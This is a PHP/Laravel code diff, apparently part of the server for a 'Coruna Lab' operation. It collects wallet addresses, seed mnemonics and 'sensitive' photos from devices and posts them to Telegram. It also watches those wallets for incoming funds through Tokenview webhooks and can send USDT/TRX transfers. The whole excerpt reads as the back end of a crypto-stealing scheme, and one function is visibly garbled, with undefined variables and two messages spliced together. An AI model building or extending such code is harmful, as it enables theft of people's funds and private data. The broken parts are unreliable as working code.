'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
];
foreach ($wallets as $i => $w) {
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
if ($bal === '') {
$bal = '—';
}
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines));
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'[Coruna Lab] New wallet address',
'device: '.$deviceId,
'chain: '.($chain ?: '—'),
'address: '.$address,
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
'🔐 <b>New Mnemonic</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]));
}
public function notifyNewPhotos(string $deviceId): void
{
$this->send(implode("\n", [
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
]));
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
): void {
$this->send(implode("\n", [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
]));
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
@@ -0,0 +1,100 @@
<?php
namespace App\Services\Tokenview;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TokenviewClient
{
public function enabled(): bool
{
return (string) config('coruna.tokenview.api_key') !== '';
}
public function setWebhookUrl(string $url): bool
{
if (! $this->enabled()) {
return false;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
try {
$resp = Http::timeout(20)
->withBody($url, 'text/plain')
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
return false;
}
}
public function getWebhookUrl(): ?string
{
if (! $this->enabled()) {
return null;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
return null;
}
$data = $resp->json('data');
return is_string($data) && $data !== '' ? $data : null;
} catch (\Throwable $e) {
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
return null;
}
}
public function addAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('add', $coinAbbr, $address);
}
public function removeAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('remove', $coinAbbr, $address);
}
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
{
if (! $this->enabled()) {
return false;
}
$coin = strtolower($coinAbbr);
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
$endpoint = sprintf(
'%s/monitor/address/%s/%s/%s',
rtrim((string) config('coruna.tokenview.base_url'), '/'),
$action,
rawurlencode($coin),
rawurlencode($addr)
);
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
'coin' => $coin,
'address' => $addr,
]);
return false;
}
}
}
@@ -0,0 +1,206 @@
<?php
namespace App\Services\Tokenview;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
class TokenviewMonitorService
{
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
) {}
/**
* Map chain_type → Tokenview coin abbr (null = unsupported).
*/
public static function coinAbbrFromChainType(?string $chainType): ?string
{
return match (strtoupper(trim((string) $chainType))) {
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'TRX', 'TRON' => 'trx',
'BTC', 'BITCOIN' => 'btc',
'BNB', 'BSC', 'BINANCE' => 'bsc',
default => null,
};
}
/**
* Map Tokenview webhook coin → wallet_addresses column for native value.
*/
public static function nativeColumnForCoin(string $coin): ?string
{
return match (strtoupper($coin)) {
'ETH' => 'eth',
'TRX' => 'trx',
'BTC' => 'btc',
'BSC', 'BNB' => 'bnb',
default => null,
};
}
public function syncMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {
return false;
}
$coin = self::coinAbbrFromChainType($address->chain_type);
if ($coin === null) {
Log::info('tokenview sync skipped: unsupported chain', [
'id' => $address->id,
'chain_type' => $address->chain_type,
]);
return false;
}
$addr = (string) $address->address;
if ((int) $address->monitor === 1) {
return $this->client->addAddress($coin, $addr);
}
return $this->client->removeAddress($coin, $addr);
}
/**
* @param array<string, mixed> $payload
*/
public function handleWebhook(array $payload): void
{
$address = trim((string) ($payload['address'] ?? ''));
$txid = trim((string) ($payload['txid'] ?? ''));
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
if ($address === '' || $txid === '' || $coin === '') {
return;
}
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
$value = $payload['value'] ?? null;
$tokenValue = $payload['tokenValue'] ?? null;
$lookup = $this->normalizeAddress($address, $coin);
$rows = WalletAddress::query()
->where('monitor', 1)
->where(function ($q) use ($lookup, $address) {
$q->where('address', $lookup)->orWhere('address', $address);
if (strcasecmp($lookup, $address) !== 0) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
}
})
->get();
if ($rows->isEmpty()) {
return;
}
$dedupeSymbol = $tokenSymbol;
try {
TokenviewEvent::query()->create([
'txid' => $txid,
'address' => $lookup,
'coin' => $coin,
'token_symbol' => $dedupeSymbol,
'value' => is_scalar($value) ? (string) $value : null,
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
]);
} catch (\Throwable) {
// unique violation → already processed
return;
}
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
if ($deltas === []) {
return;
}
DB::transaction(function () use ($rows, $deltas) {
foreach ($rows as $row) {
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
});
$inbound = [];
foreach ($deltas as $col => $delta) {
if ($delta > 0) {
$inbound[$col] = $delta;
}
}
if ($inbound === []) {
return;
}
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
$coin
);
}
}
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
if ($signKey === '') {
return true;
}
if ($signature === null || $signature === '') {
return false;
}
$expected = hash_hmac('sha256', $rawBody, $signKey);
return hash_equals($expected, strtolower($signature))
|| hash_equals($expected, $signature);
}
/**
* @return array<string, float> column => delta
*/
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
{
$deltas = [];
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
$col = strtolower($tokenSymbol);
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
$deltas[$col] = (float) $tokenValue;
}
}
if (is_numeric($value)) {
$nativeCol = self::nativeColumnForCoin($coin);
if ($nativeCol !== null) {
// Prefer token delta when both present for same column (USDT-only token txs
// often still send a tiny native gas value — keep both columns when distinct).
$deltas[$nativeCol] = (float) $value;
}
}
return $deltas;
}
private function normalizeAddress(string $address, string $coin): string
{
$c = strtolower($coin);
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
return strtolower($address);
}
return $address;
}
}
+67
View File
@@ -0,0 +1,67 @@
<?php
namespace App\Services;
use App\Services\Chain\ChainManager;
use RuntimeException;
class TransferService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
*/
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
{
try {
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
if (trim($mnemonic) === '') {
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
}
$index = (int) config('coruna.hot_wallet.index', 0);
$asset = strtoupper(trim($asset));
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($to)) {
return ['ok' => false, 'error' => 'Invalid recipient address'];
}
$this->assertAmountWithinLimit($amount, $asset);
$from = $driver->deriveAddress($mnemonic, $index);
$txid = match ($asset) {
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
(string) config('coruna.tron.usdt_contract'),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
return ['ok' => true, 'txid' => $txid, 'from' => $from];
} catch (\Throwable $e) {
return ['ok' => false, 'error' => $e->getMessage()];
}
}
private function assertAmountWithinLimit(string $amount, string $asset): void
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
}